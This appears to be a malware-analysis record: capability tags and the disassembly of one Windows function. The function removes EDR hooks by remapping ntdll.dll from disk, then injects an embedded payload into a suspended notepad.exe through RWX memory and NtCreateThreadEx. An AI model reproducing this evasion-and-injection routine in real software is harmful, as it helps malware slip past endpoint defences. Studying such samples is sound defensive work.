Function at 0x1400113e3
Capabilities:
Allocate or change rwx memory
Contain obfuscated stackstrings
Create process on windows
Create process suspended
Execute shellcode via indirect call
Link many functions at runtime
Read file via mapping

Disassembly:
jmp 0x140014910
push rbp
push rsi
push rdi
sub rsp, 0x990
lea rbp, [rsp + 0x60]
lea rdi, [rsp + 0x60]
mov ecx, 0x18c
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140023040]
xor rax, rbp
mov qword [rbp + 0x920], rax
lea rcx, [0x1400290f7]
call fcn.14001158c
lea rcx, str.___Detecting_ntdll_hooking_n
call fcn.140011299
mov dword [rbp + 4], 0
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x1400149a0
lea rcx, str._t____NtAllocateVirtualMemory_is_Hooked_n
call fcn.140011299
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
jmp 0x1400149ac
lea rcx, str._t___NtAllocateVirtualMemory_Not_Hooked_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x1400149eb
lea rcx, str._t____NtProtectVirtualMemory_is_Hooked_n
call fcn.140011299
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
jmp 0x1400149f7
lea rcx, str._t___NtProtectVirtualMemory_Not_Hooked_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x140014a36
lea rcx, str._t____NtCreateThreadEx_is_Hooked_n
call fcn.140011299
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
jmp 0x140014a42
lea rcx, str._t___NtCreateThreadEx_Not_Hooked_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueryInformationThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x140014a81
lea rcx, str._t____NtQueryInformationThread_Hooked_n
call fcn.140011299
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
jmp 0x140014a8d
lea rcx, str._t___NtQueryInformationThread_Not_Hooked_n
call fcn.140011299
cmp dword [rbp + 4], 0
jle 0x140014ef5
mov byte [rbp + 0x28], 0x43
mov byte [rbp + 0x29], 0x3a
mov byte [rbp + 0x2a], 0x5c
mov byte [rbp + 0x2b], 0x57
mov byte [rbp + 0x2c], 0x69
mov byte [rbp + 0x2d], 0x6e
mov byte [rbp + 0x2e], 0x64
mov byte [rbp + 0x2f], 0x6f
mov byte [rbp + 0x30], 0x77
mov byte [rbp + 0x31], 0x73
mov byte [rbp + 0x32], 0x5c
mov byte [rbp + 0x33], 0x53
mov byte [rbp + 0x34], 0x79
mov byte [rbp + 0x35], 0x73
mov byte [rbp + 0x36], 0x74
mov byte [rbp + 0x37], 0x65
mov byte [rbp + 0x38], 0x6d
mov byte [rbp + 0x39], 0x33
mov byte [rbp + 0x3a], 0x32
mov byte [rbp + 0x3b], 0x5c
mov byte [rbp + 0x3c], 0x6e
mov byte [rbp + 0x3d], 0x74
mov byte [rbp + 0x3e], 0x64
mov byte [rbp + 0x3f], 0x6c
mov byte [rbp + 0x40], 0x6c
mov byte [rbp + 0x41], 0x2e
mov byte [rbp + 0x42], 0x64
mov byte [rbp + 0x43], 0x6c
mov byte [rbp + 0x44], 0x6c
mov byte [rbp + 0x45], 0
mov byte [rbp + 0x64], 0x2e
mov byte [rbp + 0x65], 0x74
mov byte [rbp + 0x66], 0x65
mov byte [rbp + 0x67], 0x78
mov byte [rbp + 0x68], 0x74
mov byte [rbp + 0x69], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rbp + 0x88], rax
lea rax, [rbp + 0xa8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0xd8], rax
mov r9d, 0x18
lea r8, [rbp + 0xa8]
mov rdx, qword [rbp + 0xd8]
mov rcx, qword [rbp + 0x88]
call fcn.140011195
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xf8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, [rbp + 0x28]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x118], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 0x1000002
xor edx, edx
mov rcx, qword [rbp + 0x118]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov qword [rbp + 0x138], rax
mov qword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
mov edx, 4
mov rcx, qword [rbp + 0x138]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov qword [rbp + 0x158], rax
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0x178], rax
mov rax, qword [rbp + 0x178]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rbp + 0xf8]
add rcx, rax
mov rax, rcx
mov qword [rbp + 0x198], rax
xor eax, eax
mov word [rbp + 0x1b4], ax
jmp 0x140014c62
movzx eax, word [rbp + 0x1b4]
inc ax
mov word [rbp + 0x1b4], ax
movzx eax, word [rbp + 0x1b4]
mov rcx, qword [rbp + 0x198]
movzx ecx, word [rcx + 6]
cmp eax, ecx
jge 0x140014dd5
mov rax, qword [rbp + 0x198]
movzx eax, word [rax + 0x14]
mov rcx, qword [rbp + 0x198]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rbp + 0x1b4]
imul rcx, rcx, 0x28
add rax, rcx
mov qword [rbp + 0x1d8], rax
mov rax, qword [rbp + 0x1d8]
lea rdx, [rbp + 0x64]
mov rcx, rax
call fcn.14001161d
test eax, eax
jne 0x140014dd0
mov dword [rbp + 0x1f4], 0
mov rax, qword [rbp + 0x1d8]
mov eax, dword [rax + 8]
mov rcx, qword [rbp + 0x1d8]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rbp + 0xf8]
add rdx, rcx
mov rcx, rdx
lea r9, [rbp + 0x1f4]
mov r8d, 0x40
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140014d10
mov byte [rbp + 0x914], 1
jmp 0x140014d17
mov byte [rbp + 0x914], 0
movzx eax, byte [rbp + 0x914]
mov byte [rbp + 0x214], al
mov rax, qword [rbp + 0x1d8]
mov eax, dword [rax + 8]
mov rcx, qword [rbp + 0x1d8]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rbp + 0x158]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rbp + 0x1d8]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rbp + 0xf8]
add rdi, rdx
mov rdx, rdi
mov qword [rbp + 0x918], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rbp + 0x918]
mov rcx, rax
call fcn.1400112bc
mov rax, qword [rbp + 0x1d8]
mov eax, dword [rax + 8]
mov rcx, qword [rbp + 0x1d8]
mov ecx, dword [rcx + 0xc]
mov rdx, qword [rbp + 0xf8]
add rdx, rcx
mov rcx, rdx
lea r9, [rbp + 0x1f4]
mov r8d, dword [rbp + 0x1f4]
mov edx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x140014dbc
mov byte [rbp + 0x914], 1
jmp 0x140014dc3
mov byte [rbp + 0x914], 0
movzx eax, byte [rbp + 0x914]
mov byte [rbp + 0x214], al
jmp 0x140014c51
lea rcx, str._n___Detecting_hooks_in_new_ntdll_module_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtAllocateVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x140014e18
lea rcx, str._t____NtAllocateVirtualMemory_Hooked_n
call fcn.140011299
jmp 0x140014e24
lea rcx, str._t___NtAllocateVirtualMemory_Not_Hooked_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtProtectVirtualMemory
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x140014e5b
lea rcx, str._t____NtProtectVirtualMemory_Hooked_n
call fcn.140011299
jmp 0x140014e67
lea rcx, str._t___NtProtectVirtualMemory_Not_Hooked_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtCreateThreadEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x140014ea6
lea rcx, str._t____NtCreateThreadEx_is_Hooked_n
call fcn.140011299
mov eax, dword [rbp + 4]
inc eax
mov dword [rbp + 4], eax
jmp 0x140014eb2
lea rcx, str._t___NtCreateThreadEx_Not_Hooked_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, str.NtQueryInformationThread
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call fcn.14001123a
test eax, eax
je 0x140014ee9
lea rcx, str._t____NtQueryInformationThread_Hooked_n
call fcn.140011299
jmp 0x140014ef5
lea rcx, str._t___NtQueryInformationThread_Not_Hooked_n
call fcn.140011299
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rbp + 0x238], rax
lea rdx, str.NtAllocateVirtualMemory
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x258], rax
lea rdx, str.NtWriteVirtualMemory
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x278], rax
lea rdx, str.NtProtectVirtualMemory
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x298], rax
lea rdx, str.NtCreateThreadEx
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2b8], rax
lea rdx, str.NtQueryInformationThread
mov rcx, qword [rbp + 0x238]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x2d8], rax
lea rcx, str._n___Decrypting_payload_in_memory_n
call fcn.140011299
lea rax, [rbp + 0x300]
lea rcx, [0x140020b20]
mov rdi, rax
mov rsi, rcx
mov ecx, 0x1b2
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x68
call fcn.140011046
mov qword [rbp + 0x908], rax
cmp qword [rbp + 0x908], 0
je 0x140014ff2
mov rdi, qword [rbp + 0x908]
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
mov rax, qword [rbp + 0x908]
mov qword [rbp + 0x918], rax
jmp 0x140014ffd
mov qword [rbp + 0x918], 0
mov rax, qword [rbp + 0x918]
mov qword [rbp + 0x4d8], rax
lea rax, [rbp + 0x4f8]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
lea rax, [rbp + 0x4f8]
mov qword [rsp + 0x48], rax
mov rax, qword [rbp + 0x4d8]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea rdx, str.C:WindowsSystem32_notepad.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [rbp + 0x524], 0x1b2
mov qword [rbp + 0x548], 0xffffffffffffffff
mov dword [rbp + 0x564], 0
lea rcx, str.___Allocating_memory_in_unhooked_process_n
call fcn.140011299
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1b2
xor edx, edx
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp + 0x588], rax
lea rcx, str.___Writing_payload_into_memory_n
call fcn.140011299
mov qword [rbp + 0x5a8], 0
mov rax, qword [rbp + 0x5a8]
mov qword [rsp + 0x20], rax
mov r9d, 0x1b2
lea r8, [rbp + 0x300]
mov rdx, qword [rbp + 0x588]
mov rcx, qword [rbp + 0x4f8]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x140015128
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____WriteProcessMemory___failed_with_status__u_n
call fcn.140011299
mov eax, 1
jmp 0x1400151c1
lea rcx, str.___Unleashing_the_beast____n
call fcn.140011299
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov rax, qword [rbp + 0x588]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x4f8]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0x5c8]
call qword [rbp + 0x2b8]
mov dword [rbp + 0x5e4], eax
cmp dword [rbp + 0x5e4], 0
jge 0x1400151bb
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str._n_t____Error_while_executing_payload_in_unhooked_process_:___u__n
call fcn.140011299
mov eax, 1
jmp 0x1400151c1
jmp 0x1400151bf
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x60]
lea rdx, [0x14001f120]
call fcn.1400114ba
mov rax, rdi
mov rcx, qword [rbp + 0x920]
xor rcx, rbp
call fcn.1400112b7
lea rsp, [rbp + 0x930]
pop rdi
pop rsi
pop rbp
ret